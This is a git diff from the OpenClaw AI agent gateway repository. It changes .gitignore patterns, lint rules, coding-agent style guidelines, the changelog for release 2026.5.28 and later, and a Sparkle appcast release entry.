# though the bare names match the local-untracked rule above.
!extensions/oc-path/src/oc-path/tests/fixtures/real/IDENTITY.md
!extensions/oc-path/src/oc-path/tests/fixtures/real/USER.md
!docs/reference/templates/IDENTITY.md
!docs/reference/templates/USER.md
*.tgz
*.tar.gz
*.zip
!test/fixtures/plugins-install/*.tgz
!test/fixtures/plugins-install/*.zip
.idea
.vscode/
@@ -128,10 +134,7 @@ mantis/
!.agents/skills/control-ui-e2e/**
!.agents/skills/gitcrawl/
!.agents/skills/gitcrawl/**
!.agents/skills/technical-documentation/
!.agents/skills/technical-documentation/**
!.agents/skills/openclaw-refactor-docs/
!.agents/skills/openclaw-refactor-docs/**
!.agents/skills/openclaw-docs/**
!.agents/skills/openclaw-debugging/
!.agents/skills/openclaw-debugging/**
!.agents/skills/openclaw-ghsa-maintainer/

View File

@@ -20,34 +20,44 @@
"eslint/no-multi-str": "error",
"eslint/no-new": "error",
"eslint/no-object-constructor": "error",
"eslint/no-param-reassign": "error",
"eslint/no-proto": "error",
"eslint/no-regex-spaces": "error",
"eslint/no-return-assign": "error",
"eslint/no-sequences": "error",
"eslint/no-self-compare": "error",
"eslint/no-shadow": "off",
"eslint/no-implicit-coercion": "error",
"eslint/no-var": "error",
"eslint/no-useless-call": "error",
"eslint/no-useless-computed-key": "error",
"eslint/no-useless-concat": "error",
"eslint/no-useless-constructor": "error",
"eslint/no-useless-rename": "error",
"eslint/no-useless-return": "error",
"eslint/no-unused-vars": "off",
"eslint/no-warning-comments": "error",
"eslint/no-unmodified-loop-condition": "error",
"eslint/no-new-wrappers": "error",
"eslint/no-else-return": "error",
"eslint/no-lonely-if": "error",
"eslint/no-case-declarations": "error",
"eslint/default-case-last": "error",
"eslint/default-param-last": "error",
"eslint/prefer-exponentiation-operator": "error",
"eslint/prefer-const": "error",
"eslint/prefer-numeric-literals": "error",
"eslint/prefer-object-has-own": "error",
"eslint/object-shorthand": "error",
"eslint/prefer-rest-params": "error",
"eslint/prefer-spread": "error",
"eslint/radix": "error",
"eslint/unicode-bom": "error",
"eslint/yoda": "error",
"import/no-absolute-path": "error",
"import/first": "error",
"import/no-empty-named-blocks": "error",
"import/no-duplicates": "error",
"import/no-self-import": "error",
"node/no-exports-assign": "error",
"eslint-plugin-unicorn/prefer-set-size": "error",
@@ -66,7 +76,9 @@
"typescript/no-empty-object-type": ["error", { "allowInterfaces": "with-single-extends" }],
"typescript/no-explicit-any": "error",
"typescript/no-extraneous-class": "error",
"typescript/no-import-type-side-effects": "error",
"typescript/no-meaningless-void-operator": "error",
"typescript/no-inferrable-types": "error",
"typescript/no-non-null-asserted-nullish-coalescing": "error",
"typescript/no-unnecessary-qualifier": "error",
"typescript/no-unnecessary-type-assertion": "error",
@@ -86,6 +98,7 @@
"typescript/prefer-namespace-keyword": "error",
"typescript/prefer-return-this-type": "error",
"typescript/prefer-find": "error",
"typescript/prefer-for-of": "error",
"typescript/prefer-function-type": "error",
"typescript/prefer-includes": "error",
"typescript/prefer-reduce-type-parameter": "error",
@@ -106,14 +119,17 @@
"unicorn/no-new-buffer": "error",
"unicorn/no-thenable": "error",
"unicorn/no-typeof-undefined": "error",
"unicorn/no-unreadable-array-destructuring": "error",
"unicorn/no-unnecessary-array-flat-depth": "error",
"unicorn/no-unnecessary-array-splice-count": "error",
"unicorn/no-unnecessary-slice-end": "error",
"unicorn/no-useless-error-capture-stack-trace": "error",
"unicorn/no-useless-promise-resolve-reject": "error",
"unicorn/no-zero-fractions": "error",
"unicorn/prefer-date-now": "error",
"unicorn/prefer-dom-node-text-content": "error",
"unicorn/prefer-keyboard-event-key": "error",
"unicorn/prefer-array-flat": "error",
"unicorn/prefer-array-some": "error",
"unicorn/prefer-math-min-max": "error",
"unicorn/prefer-node-protocol": "error",
@@ -123,6 +139,8 @@
"unicorn/prefer-prototype-methods": "error",
"unicorn/prefer-regexp-test": "error",
"unicorn/prefer-set-size": "error",
"unicorn/prefer-set-has": "error",
"unicorn/prefer-structured-clone": "error",
"unicorn/prefer-string-starts-ends-with": "error",
"unicorn/prefer-string-slice": "error",
"unicorn/require-array-join-separator": "error",
@@ -183,6 +201,7 @@
"docs/_layouts/",
"extensions/diffs/assets/viewer-runtime.js",
"extensions/diffs-language-pack/assets/viewer-runtime.js",
"extensions/canvas/src/host/a2ui/a2ui.bundle.js",
"node_modules/",
"patches/",
"pnpm-lock.yaml",

View File

@@ -78,7 +78,7 @@ Skills own workflows; root owns hard policy and routing.
- Gateway/plugin metadata is process-stable: installs, manifests, catalogs, generated paths, bundled metadata. Changes require restart or explicit owner reload/install/doctor flow.
- Runtime hot paths: no freshness polling (`stat`/`realpath`/JSON reread/hash). Reuse current snapshots, install records, discovery, lookup tables, root scopes, resolved paths.
- Process-local metadata caches ok when lifecycle-owned and bounded/single-slot. Freshness exceptions need named owner + tests.
- Inline comments: preserve reviewer context at the code site. Use for cross-path/state invariants, platform/dependency caps, deterministic ordering, compact encoded state, lifecycle ordering, ownership boundaries, session/id adoption, queue-depth symmetry, fallbacks, or intentional caller differences.
- Inline comments: preserve reviewer context at the code site. Required for non-obvious cross-path/state invariants, lifecycle ordering, ownership boundaries, queue/dedupe symmetry, TTL/cache expiry, cleanup/release coupling, session/id adoption, fallback behavior, platform/dependency caps, deterministic ordering, compact encoded state, or intentional caller differences.
- Comment shape: 1-3 short lines; state why the branch/helper exists, what contract it protects, and the bad outcome if removed. Cite nearby constants/helpers when useful. No syntax narration, PR/user-specific lore, or obvious mechanics.
- Gateway protocol changes: additive first; incompatible needs versioning/docs/client follow-through.
- Protocol version bumps: explicit owner confirmation only; never automatic/generated.
@@ -154,19 +154,9 @@ Skills own workflows; root owns hard policy and routing.
- Calls should be boring: complex decisions happen above; call args/object fields are names, literals, or simple property reads.
- Prefer early returns over nested condition pyramids. Split code into gather -> normalize -> decide -> act.
- Use named intermediates only for domain meaning or readability; avoid temp-variable soup.
- Code size matters. Prefer small clear code; maintainability includes not growing LOC without payoff.
- Refactors should delete about as much local complexity as they add. If LOC grows, the new ownership/API needs to clearly pay for it.
- Before adding helpers/files, check whether existing code can absorb the behavior with less new surface.
- Keep APIs narrow: export only current caller needs; keep types/helpers local by default.
- Return the smallest useful shape. Avoid broad result objects, flags, metadata unless callers use them.
- Avoid adapter layers that only rename fields. Move real responsibility or leave code local.
- Inline simple one-use objects/spreads when clearer. Extract only when it removes duplication or hard logic.
- Tests prove behavior/regressions, not every internal branch.
- For non-trivial refactors, check `git diff --numstat` before closeout. If LOC grew, trim or explain why.
- Prefer existing narrow helpers over repeated casts/guards. Add local helpers when 2+ nearby call sites share real boundary logic.
- Prefer ctor parameter properties for injected deps/config. Do not ban them for erasable-syntax purity.
- Prefer `satisfies` for registries/config maps; derive types from schemas when a runtime schema already exists.
- Table-drive repetitive tests when it reduces code and keeps failure names clear.
- Storage adapters: quarantine schema/nullability mess at the boundary. Use one named mapper from domain object to DB row, one mapper from DB row to domain object, and keep read/write paths boring.
- Discriminated unions: use exhaustive `switch` mappers instead of repeated inline conditionals. If insert/update share shape, build the row once and reuse it; split primary keys once for update sets.
- Kysely rows: prefer generated `Insertable`/`Selectable` types for mapper contracts. Do not duplicate nullable-column logic inside `values(...)` and `doUpdateSet(...)`.
- Dynamic import: no static+dynamic import for same prod module. Use `*.runtime.ts` lazy boundary. After edits: `pnpm build`; check `[INEFFECTIVE_DYNAMIC_IMPORT]`.
- Cycles: keep `pnpm check:import-cycles` + architecture/madge green.
- Classes: no prototype mixins/mutations. Prefer inheritance/composition. Tests prefer per-instance stubs.
@@ -230,6 +220,7 @@ Skills own workflows; root owns hard policy and routing.
- Crabbox/WebVNC human demos: keep remote desktop visible/windowed; no fullscreen remote browser unless video/capture-style output.
- ClawSweeper ops: `$clawsweeper`. Deployed hook sessions may post one concise `#clawsweeper` note only when surprising/actionable/risky; if using message tool, reply exactly `NO_REPLY`.
- Generated-media completions wake the requester agent first. Requester visible-reply config decides final text vs message tool; direct media send is fallback/recovery only.
- `message_tool_only`: visible source reply = current-source `message(action=send)` only. No `NO_REPLY` prompt/contract; no message call = no source reply. Never auto-publish private final.
- Memory wiki prompt digest stays tiny; prefer `wiki_search` / `wiki_get`; verify contact data before use; source-class provenance for generated people facts.
- Rebrand/migration/config warnings: run `openclaw doctor`.
- Never edit `node_modules`.

View File

@@ -15,35 +15,70 @@ Docs: https://docs.openclaw.ai
### Changes
- Docs: add a dedicated Skill Workshop guide covering governed skill creation, reviewable proposals, CLI, Gateway, agent tool behavior, approval policy, support files, and recovery. Thanks @shakkernerd.
- Skills: let the `skill_workshop` agent tool apply, reject, and quarantine explicit proposals through the guarded review flow. Thanks @shakkernerd.
- Skills: let proposals carry approved support files under standard skill folders, with scanner, hash, and rollback safeguards. Thanks @shakkernerd.
- Skills: let pending proposals be revised in place with versioned, dated proposal frontmatter before approval. Thanks @shakkernerd.
- Skills: add Skill Workshop with pending proposals, CLI/Gateway review actions, rollback metadata, and the `skill_workshop` agent tool. Thanks @shakkernerd.
- Plugins: externalize Tokenjuice as the official `@openclaw/tokenjuice` plugin with npm and ClawHub publish metadata.
- Plugins: externalize the GitHub Copilot agent runtime as the official `@openclaw/copilot` plugin with npm and ClawHub publish metadata.
- iOS: add hosted push relay defaults, realtime Talk playback, and a guarded WebSocket ping path for more reliable mobile sessions. (#88096, #88105, #88231)
- Workboard: add orchestration primitives and agent coordination tools for multi-agent planning and run tracking. (#87469)
- Code mode: add internal namespaces for scoped agent/global sessions and exact namespace tool dispatch. (#88043)
- Control UI: add a Dreaming-tab agent selector and propagate the selected agent through Dreaming status, diary, and diary actions. (#78748) Thanks @stevenepalmer.
- Plugins: add a SecretRef provider integration manifest contract and extract shared LLM core packages for provider/plugin reuse. (#82326, #88117)
- Skills: add the core skills index and centralize skills runtime loading, status, filtering, and prompt formatting.
### Fixes
- Agents/Codex: keep public OpenAI API-key profiles from being treated as native Codex app-server auth while preserving persisted Codex OAuth sessions.
- Control UI: keep collapsed tool cards labeled with the tool name and action instead of generic output text. Thanks @shakkernerd.
- Agents/Codex: surface Skill Workshop guidance in Codex app-server prompts when `skill_workshop` is available. Thanks @shakkernerd.
- CLI: keep `plugins list --json` on the snapshot-only path so plugin sweeps avoid loading the full runtime status graph.
- Plugins: make PixVerse external-plugin ClawHub metadata explicit and keep it out of bundled dist builds.
- Cron: keep SQLite cron migrations compatible with legacy run-log tables, archived job stores, diagnostic cron names, and legacy one-shot delete-after-run behavior. (#88285)
- Providers: bound generated media downloads from OpenAI, Runway, xAI, MiniMax, BytePlus, DashScope-compatible, FAL, OpenRouter, Google, Vydra, and Comfy providers.
- Providers: cap GitHub Copilot OAuth request timeouts before creating abort signals.
- Cron: retry recurring jobs after transient model rate limits before waiting for the next scheduled slot.
- Agents/Codex: keep live session locks during cleanup, recover interrupted CLI tool transcripts, preserve Codex auth and compaction session identity, clear orphan tool state, cap app-server idle timers, and keep media completion delivery retryable. (#88129, #88136, #88141, #88162, #88182)
- Chat/UI: show Gateway chat failures as visible assistant messages in the Control UI instead of only setting an invisible error state.
- Channels: cap Telegram, Discord, WhatsApp, Signal, Feishu, Google Chat, Microsoft Teams, QQBot, Nostr, Zalo, Zalouser, and Nextcloud-style request/retry timers; preserve SMS approval reply routes; and retry WhatsApp QR login 408 timeouts. (#88183)
- Security/config parsing: reject unsafe OAuth/token lifetimes, retry-after delays, inbound timestamps, response body sizes, command timeout config, sandbox observer token TTLs, and gateway WebSocket calls after close.
- Providers/media: cap local service, model, usage, queue, generated media, TTS, music, workflow polling, and provider OAuth request timers across hosted and local providers.
- Release/CI/E2E: bound release candidate reads, beta smoke REST calls, changelog restore, kitchen-sink and bundled plugin readiness probes, secret-provider probes, Vitest routing, and mainline test flakes. (#88127, #88137, #88155, #88160)
- Performance: reuse prepared provider handles, strict tool schemas, gateway runtime metadata, session maintenance config, plugin metadata, bundled skill allowlists, package-local plugin artifacts, and single-entry store writes.
- Release/CI/E2E: run the secret-provider integration proof through the repo pnpm runner so native macOS and Windows validation use the hydrated package-manager shim.
- Release/CI/E2E: run the Telegram desktop proof gateway through the repo pnpm runner so native macOS proof uses the hydrated package-manager shim.
- Docs/CI: run Mintlify anchor checks through the repo pnpm runner so docs link validation works when pnpm is only available through the hydrated package-manager shim.
- Agents: keep configured fallback model metadata typed so provider params, context-token caps, and media input limits do not break changed-gate typechecks.
- Agents: accept hidden `sessions_send` body aliases before validation while keeping the model-facing `message` schema canonical. (#88229) Thanks @zhangguiping-xydt.
- CI/Crabbox: keep default runner capacity spot-only and provider-neutral so OpenClaw remote validation does not silently fall back to on-demand leases or stale AWS region hints.
- CI/Crabbox: route Crabbox wrapper and Testbox workflow edits to their regression tests so changed-test gates do not silently run zero specs.
- CI/workflows: route workflow sanity helper edits to their guard tests and cover composite-action input interpolation checks.
- CI/tooling: route CI scope, dependency, changelog, and docs helper edits to their owner tests instead of silently skipping changed-test coverage.
- CI/tooling: route package, release, and install helper edits to their owner tests so changed-test gates cover publish and installer script changes.
- CI/tooling: route shared script library edits through their owner tests so lock, process, safety, and scan helpers do not skip changed-test coverage.
- CI/tooling: skip expensive import-graph scans once a changed diff already requires broad fallback, keeping local changed-test planning fast while still collecting explicit owner tests.
- CI/tooling: route script edits through conventional owner tests when matching `test/scripts` or `src/scripts` coverage already exists.
- CI/tooling: honor option terminators in the memory FD repro script so follow-on arguments are not reparsed.
- Release/CI/E2E: assert plugin lifecycle runtime inspect output instead of only capturing it.
- Release/CI/E2E: make gateway-network prove the advertised health RPC and retry early WebSocket closes without burning full open timeouts.
- Release/CI/E2E: honor option terminators across release, Parallels smoke, plugin gauntlet, and extension-memory scripts.
- Release/CI/E2E: fail plugin gateway gauntlet QA chunks when the requested suite summary is missing or invalid.
- Performance: prebuild QA runtime probes with generated plugin assets but without CLI startup metadata.
- Performance: skip declaration bundling for runtime-only CLI startup and gateway watch build profiles.
- Performance: reuse prepared provider handles, strict tool schemas, gateway runtime metadata, session maintenance config, plugin metadata, bundled skill allowlists, package-local plugin artifacts, single-entry store writes, and validated/serialized session prompt blobs.
## 2026.5.28
### Highlights
- Agent and Codex runtime recovery is steadier: subagents keep cwd/workspace separation, hook context stays prompt-local, session locks release on timeout abort, stale restart continuations are avoided, and Codex app-server/helper failures no longer tear down shared runtime state. (#87218, #86875, #87409, #87399, #87375)
- Channel delivery and session identity got safer across outbound plugin hooks, Matrix room ids, iMessage reactions/approvals, Slack final replies, Discord recovered tool warnings, and Microsoft Teams service URL trust checks. (#73706, #75670, #87366, #87451, #87334)
- Mobile and chat surfaces got a broader refresh: the iOS Pro UI, Gateway chat transport, onboarding, Talk permissions, WebChat reconnect delivery, and session picker behavior now preserve more state across reconnects and empty searches. (#87367, #87531, #87682)
- CLI, auth, doctor, and provider paths fail faster and recover more clearly: malformed numeric/version options are rejected, OAuth and local service startup requests are bounded, legacy `api_key` auth profiles migrate to canonical form, and restart guidance is actionable. (#87398, #86281, #87361)
- Plugin and Gateway hot paths do less repeated work while preserving cache correctness for install records, config JSON parsing, tool search catalogs, session stores, manifest model rows, auto-enabled plugin config, browser tokens, and viewer assets. (#86699)
- Agent and Codex runtime recovery is steadier: subagents keep cwd/workspace separation, hook context stays prompt-local, session locks release on timeout abort while live OpenClaw locks survive cleanup, stale restart continuations are avoided, and Codex app-server/helper failures no longer tear down shared runtime state. (#87218, #86875, #87409, #87399, #87375, #88129)
- Channel delivery and session identity got safer across outbound plugin hooks, Matrix room ids, iMessage reactions/approvals, Slack final replies, Discord recovered tool warnings, runtime-config message actions, WhatsApp profile auth roots, Telegram polling, and Microsoft Teams service URL trust checks. (#73706, #75670, #87366, #87451, #87334, #84535, #82492, #83304, #87160)
- Mobile and chat surfaces got a broader refresh: the iOS Pro UI, hosted push relay default, realtime Talk tab playback, Gateway chat transport, onboarding, Talk permissions, WebChat reconnect delivery, and session picker behavior now preserve more state across reconnects and empty searches. (#87367, #87531, #87682, #88096, #88105) Thanks @ngutman and @BunsDev.
- Browser, channel, and automation inputs are stricter: Browser tool timeouts, viewport/tab indices, Gateway ports, cron retry handling, Discord component ids, schema array refs, Telegram callback pages, and channel progress callbacks now reject malformed values earlier and preserve the intended delivery context. (#82887)
- Provider, media, and document coverage expands with Claude Opus 4.8, Fal Krea image schemas, NVIDIA featured models, MiniMax streaming music responses, encrypted PDF extraction, voice model catalogs, GitHub Copilot agent runtime support, and a Codex Supervisor plugin path for delegated Codex workflows. (#87845, #87890, #80775, #84764, #87751, #87794)
- CLI, auth, doctor, and provider paths fail faster and recover more clearly: malformed numeric/version options are rejected, workspace dotenv provider credentials are ignored, heartbeat defaults, OAuth/token lifetimes, and local service startup requests are bounded, agent auth health labels are clearer, legacy `api_key` auth profiles migrate to canonical form, and restart guidance is actionable. (#87398, #86281, #87361, #88133, #83655, #87559, #88088, #85924) Thanks @vincentkoc and @giodl73-repo.
- Plugin and Gateway hot paths do less repeated work while preserving cache correctness for install records, config JSON parsing, tool search catalogs, session stores, manifest model rows, auto-enabled plugin config, browser tokens, viewer assets, and release-split external plugin packages. (#86699)
- Release, QA, and E2E validation now bound more log, artifact, harness, and cross-OS waits so failing lanes produce proof instead of hanging or false-greening.
### Changes
@@ -51,25 +86,41 @@ Docs: https://docs.openclaw.ai
- Status: show active subagent details in status output.
- Diffs: split the default language pack and expand default Diffs language coverage while keeping the host floor aligned. (#87370, #87372) Thanks @RomneyDa.
- ClawHub: add plugin display names plus skill verification and trust surfaces. (#87354, #86699) Thanks @thewilloftheshadow and @Patrick-Erichsen.
- iOS: refresh the dev app with Pro Command, Chat, Agents, and Settings tabs wired to gateway sessions, diagnostics, chat, and realtime Talk. (#87367) Thanks @Solvely-Colin.
- Docs: clarify Codex computer-use setup, paste-token stdin auth setup, macOS gateway sleep troubleshooting, native Codex hook relay recovery, container model auth, install deployment cards, device-token admin gating, and backport targets. (#87313, #63050) Thanks @bdjben, @liaoandi, and @thewilloftheshadow.
- PDF/tools: use ClawPDF for PDF extraction and surface MCP structured content in agent tool results. (#87670)
- iOS: refresh the dev app with Pro Command, Chat, Agents, Settings, hosted push relay defaults, and realtime Talk playback wired to gateway sessions, diagnostics, chat, and realtime Talk. (#87367, #88096, #88105) Thanks @Solvely-Colin and @ngutman.
- Docs: clarify Codex computer-use setup, paste-token stdin auth setup, macOS gateway sleep troubleshooting, native Codex hook relay recovery, container model auth, install deployment cards, device-token admin gating, CLI setup flow compatibility, Notte cloud browser CDP setup, and backport targets. (#87313, #63050, #87685) Thanks @bdjben, @liaoandi, and @thewilloftheshadow.
- PDF/tools: use ClawPDF for PDF extraction, support encrypted PDF extraction, and surface MCP structured content in agent tool results. (#87670, #87751)
- Providers: add Claude Opus 4.8 support, Fal Krea image model schemas, NVIDIA featured model catalogs, MiniMax streaming music responses, and provider-backed voice model catalogs. (#87845, #87890, #80775, #84764, #87794) Thanks @eleqtrizit and @vincentkoc.
- Codex/GitHub: add the GitHub Copilot agent runtime and the Codex Supervisor plugin package.
- Plugins: externalize GitHub Copilot and Tokenjuice as official install-on-demand plugins with npm and ClawHub publish metadata.
- Workboard: add agent coordination tools for tracking and handing off active agent work.
- Discord: show commentary in progress drafts so live Discord runs expose useful in-progress context. (#85200)
- Plugin SDK: add a reply payload sending hook for plugins that need to deliver channel-owned replies and flatten package types for SDK declarations. (#82823, #87165) Thanks @piersonr and @RomneyDa.
- Policy: add policy comparison, ingress-channel conformance, and sandbox-posture conformance checks. (#85572, #85744, #86768)
### Fixes
- Agents: fall back to local config pruning when the optional `agents delete` Gateway probe cannot authenticate, so offline installs can still delete agents without removing shared workspaces.
- Tighten phone-control mutation authorization [AI]. (#87150) Thanks @pgondhi987.
- Clarify directive persistence authorization policy [AI]. (#86369) Thanks @pgondhi987.
- Agents/Codex: keep spawned agent cwd/workspace state separated, keep hook context prompt-local, release session locks on timeout abort, avoid session event queue self-wait, preserve shared app-server state across startup or helper failures, keep native hook relay alive across restarts, route workspace memory through tools, resolve Codex runtime models first, report quarantined dynamic tools, format `skills` command output, and bound compaction/steering retries. (#87218, #86875, #86123, #87399, #87375, #87383, #87400) Thanks @mbelinky, @Alix-007, @luoyanglang, @yetval, and @sjf.
- Codex Supervisor: keep real-home app-server MCP session listing on the loaded/state-DB path, bound stored history scans, and close WebSocket probes cleanly.
- Channels: thread canonical session keys into outbound hooks, preserve Matrix room-id case, keep fallback tool warnings mention-inert, retain delivered Slack final replies during late cleanup, continue iMessage polling after denied reactions, suppress duplicate native exec approvals, preserve Telegram SecretRef prompt config, suppress Discord recovered tool warnings, and block untrusted Teams service URLs. (#73706, #75670, #87366, #87451, #87334) Thanks @zeroaltitude, @lukeboyett, @xiaotian, and @eleqtrizit.
- CLI/auth/doctor/providers: reject malformed numeric/timeout/subcommand-version inputs, wait for respawn child shutdown, bound Codex and GitHub Copilot OAuth/token requests, warm provider auth off the main thread, honor Codex response timeouts, bound local service startup, resolve GPT-5.5 without cached catalog, migrate legacy memory auto-provider config, rewrite non-canonical `api_key` auth profiles, and make doctor restart follow-ups actionable. (#87398, #86281, #87361) Thanks @Patrick-Erichsen, @samzong, @giodl73-repo, and @alkor2000.
- Gateway/security/session state: expire browser tokens after auth rotation, scope assistant idempotency dedupe, drain probe client closes, avoid stale restart continuation reuse, preserve retry-after fallbacks, bound webchat image and artifact transcript scans, include seconds in inbound metadata timestamps, and evict current plugin-state namespaces at row caps.
- Config/parsing/network: reject partial numeric parsing, parse provider/Discord retry headers and dates strictly, honor IPv6 and bare IPv6 `no_proxy` entries, canonicalize secret target array indexes, and reject malformed media content lengths, inspected TCP ports, marketplace content lengths, cron epochs, and sandbox stat fields.
- Providers/agents: preserve seeded Anthropic signatures, concatenate signature-delta chunks, preserve DeepSeek `reasoning_content` replay across tier suffixes, apply OpenRouter strict9 ids to Mistral routes, promote Ollama plain-text tool calls, and recover empty preflight compaction. (#87593)
- Agents/Codex: keep spawned agent cwd/workspace state separated, forward ACP spawn attachments, keep hook context prompt-local, release session locks on timeout abort and runtime teardown without deleting live OpenClaw-owned locks during cleanup, avoid session event queue self-wait, clean up exec abort listeners, stream assistant deltas incrementally, recover raw missing-thread compaction failures, preserve rotated compaction session identity, keep compaction-timeout snapshots continuable, preserve shared app-server state across startup or helper failures, keep native hook relay alive across restarts and prune stale bridge files, close native hook relay replacement races, keep Claude live tool progress visible for watchdog recovery, suppress abandoned requester completion handoff, route workspace memory through tools, resolve Codex runtime models first, report quarantined dynamic tools, format `skills` command output, bind node auto-review to prepared plans, retry Claude CLI transcript probes, and bound compaction/steering retries. (#87218, #86875, #86123, #88129, #87399, #87375, #72574, #87383, #87400, #83022, #87671, #87738, #87747, #87706, #87546, #87541, #81048) Thanks @mbelinky, @Alix-007, @luoyanglang, @yetval, @sjf, @joshavant, @benjamin1492, @c19354837, @fuller-stack-dev, @pfrederiksen, and @dodge1218.
- Codex Supervisor: keep real-home app-server MCP session listing on the loaded state path, bound stored history scans, and close WebSocket probes cleanly.
- Channels: thread canonical session keys into outbound hooks, preserve Matrix room-id case, keep fallback tool warnings mention-inert, retain delivered Slack final replies during late cleanup, continue iMessage polling after denied reactions, suppress duplicate native exec approvals, resolve Gateway message actions against the active runtime config, preserve Telegram SecretRef prompt config and polling keepalives, preserve WhatsApp profile auth roots, QR display, document filenames, and plugin hook config, suppress Discord recovered tool warnings, preserve the Discord voice outbound helper, cap Discord/Signal/Zalo channel request and container timeouts, and block untrusted Teams service URLs while keeping TeamsSDK patterns aligned. (#73706, #75670, #87366, #87451, #87465, #87334, #84535, #76262, #83304, #82492, #87581, #77114, #86426, #85529, #87160) Thanks @zeroaltitude, @lukeboyett, @jarvis-mns1, @xiaotian, @funmerlin, @joshavant, @eleqtrizit, @heyitsaamir, @amittell, @lidge-jun, @liorb-mountapps, @masatohoshino, @bladin, and @giodl73-repo.
- CLI/auth/doctor/providers: reject malformed numeric/timeout/subcommand-version inputs, ignore workspace dotenv provider credentials, wait for respawn child shutdown, bound heartbeat defaults plus Codex, GitHub Copilot, OpenAI, Anthropic, Google, Feishu, LM Studio, MiniMax, Xiaomi TTS, and local-provider OAuth/token/model requests, harden Codex auth probes, label auth health by agent, preserve explicit agentRuntime pins during Codex model migration, warm provider auth off the main thread, honor Codex response timeouts, stop migrating current Claude Haiku 4.5 profiles to Sonnet, bound local service startup, resolve GPT-5.5 without cached catalog, migrate legacy memory auto-provider config, rewrite non-canonical `api_key` auth profiles, and make doctor restart follow-ups actionable. (#87398, #86281, #87361, #88133, #83655, #87559, #87719, #88088, #85924, #84362) Thanks @Patrick-Erichsen, @samzong, @giodl73-repo, @alkor2000, @mmaps, @nxmxbbd, and @vincentkoc.
- Gateway/security/session state: expire browser tokens after auth rotation, scope assistant idempotency dedupe, drain probe client closes, avoid stale restart continuation reuse, preserve retry-after fallbacks and stale rate-limit cooldown probes, bound webchat image and artifact transcript scans, include seconds in inbound metadata timestamps, clear completed session active runs, clear stale chat stream buffers, and evict current plugin-state namespaces at row caps. (#87810, #87833, #75089) Thanks @joshavant and @litang9.
- Config/parsing/network: reject partial numeric parsing, parse provider/Discord retry headers and dates strictly, honor IPv6 and bare IPv6 `no_proxy` entries, preserve empty plugin allowlists, canonicalize secret target array indexes, and reject malformed media content lengths, inspected TCP ports, marketplace content lengths, cron epochs, sandbox stat fields, unsafe duration values, empty config path segments, noncanonical schema array refs, unsafe Telegram callback pages, and invalid Teams attachment-fetch DNS targets. (#87883) Thanks @zhangguiping-xydt.
- Browser/input hardening: reject invalid tab indexes, excessive viewport resizes, explicit zero CDP ports, malformed geolocation options, unsafe screenshot or permission-grant timeouts, loose response-body limits, invalid cookie expiries, and non-finite Browser tool delays/timeouts.
- Cron/automation: retry recurring jobs after transient model rate limits before waiting for the next scheduled slot, and preflight model fallbacks before skipping scheduled work. (#82887) Thanks @chen-zhang-cs-code.
- Auto-reply/directives: respect provider and relayed channel metadata during directive persistence so channel-originated decisions keep their intended context. (#87683)
- WhatsApp: resolve the auth directory from the active profile so profile-scoped WhatsApp installs do not drift to the wrong credential root. (#82492) Thanks @lidge-jun.
- Gateway/session state: clear completed session active runs, avoid cold-loading providers for MCP inventory, cache single-session child indexes, cap handshake timers, and bound preauth, auth-guard, media, transcript, readiness, and port options.
- Channels/replies: preserve channel-owned progress callbacks when verbose output is off, keep group-room progress suppression intact, prefer external session delivery context, escape Discord component id delimiters, force final TUI chat repaints, show Slack reasoning previews, and normalize Discord/Matrix/Mattermost channel numeric options. (#87476, #87423)
- Agents/tool args: harden smart-quoted argument repair for edit arrays and exact escaped arguments so model-produced tool calls recover without corrupting valid input. (#86611) Thanks @ferminquant.
- Providers/agents: preserve seeded Anthropic signatures, preserve signed thinking payloads, concatenate signature-delta chunks, preserve DeepSeek `reasoning_content` replay across tier suffixes, apply OpenRouter strict9 ids to Mistral routes, promote Ollama plain-text tool calls, load NVIDIA featured model catalogs, stream MiniMax music generation responses, and recover empty preflight compaction. (#87593, #87493, #80775, #84764) Thanks @Pluviobyte and @eleqtrizit.
- Media/images: skip CLI image cache refs when resolving generated images, allow trusted generated HTML attachments, and bound generated video downloads so stale refs and slow providers fail cleanly. (#87523, #87982)
- File transfer: handle late tar stdin pipe errors after archive validation or unpacking has already settled.
- Performance: trust install-record caches between reloads, prefer native JSON parsing, reuse unchanged tool-search catalogs, skip unchanged store serialization, add precomputed session patch writers, reduce store clone allocations, cache manifest model catalog rows and auto-enabled plugin config, and slim current metadata identity caches.
- Docker/release/QA: package runtime workspace templates, stream cross-OS served artifacts, preserve sparse Crabbox run artifacts, bound OpenClaw instance logs, plugin gauntlet relay logs, MCP channel buffers, kitchen-sink scans, agent-turn assertions, and release scenario logs, and keep release/google live guards current.
- Performance: trust install-record caches between reloads, prefer native JSON parsing, reuse unchanged tool-search catalogs, reuse gateway session and plugin metadata paths, skip unchanged store serialization, patch single-entry session writes, add precomputed session patch writers, reduce store clone allocations, cache manifest model catalog rows and auto-enabled plugin config, avoid full session snapshots for entry reads, defer configured Slack full startup, prefer bundled plugin dist entries, and slim current metadata identity caches. (#87760)
- Docker/release/QA: package runtime workspace templates, stream cross-OS served artifacts, preserve sparse Crabbox run artifacts, isolate npm plugin installs per package, reject incompatible package plugin API installs, drop the leftover root Sharp dependency from package manifests after the Rastermill migration, bound OpenClaw instance logs, plugin gauntlet relay logs, MCP channel buffers, kitchen-sink scans, agent-turn assertions, QA-Lab credential broker calls, QA Matrix substrate requests, and release scenario logs, and keep release/google live guards current. (#87647, #87477) Thanks @rohitjavvadi and @vincentkoc.
- Release/CI: bound manual git fetches, ClawHub verifier responses, ClawHub owner metadata, dependency-guard error bodies, Parallels limits, startup/test/memory budget parsing, and diffs viewer build warnings so release lanes fail with useful proof instead of hanging. (#87839)
## 2026.5.27

View File

@@ -2,6 +2,70 @@
<rss xmlns:sparkle="http://www.andymatuschak.org/xml-namespaces/sparkle" version="2.0">
<channel>
<title>OpenClaw</title>
<item>
<title>2026.5.28</title>
<pubDate>Sat, 30 May 2026 21:21:09 +0000</pubDate>
<link>https://raw.githubusercontent.com/openclaw/openclaw/main/appcast.xml</link>
<sparkle:version>2026052890</sparkle:version>
<sparkle:shortVersionString>2026.5.28</sparkle:shortVersionString>
<sparkle:minimumSystemVersion>15.0</sparkle:minimumSystemVersion>
<description><![CDATA[<h2>OpenClaw 2026.5.28</h2>
<h3>Highlights</h3>
<ul>
<li>Agent and Codex runtime recovery is steadier: subagents keep cwd/workspace separation, hook context stays prompt-local, session locks release on timeout abort while live OpenClaw locks survive cleanup, stale restart continuations are avoided, and Codex app-server/helper failures no longer tear down shared runtime state. (#87218, #86875, #87409, #87399, #87375, #88129)</li>
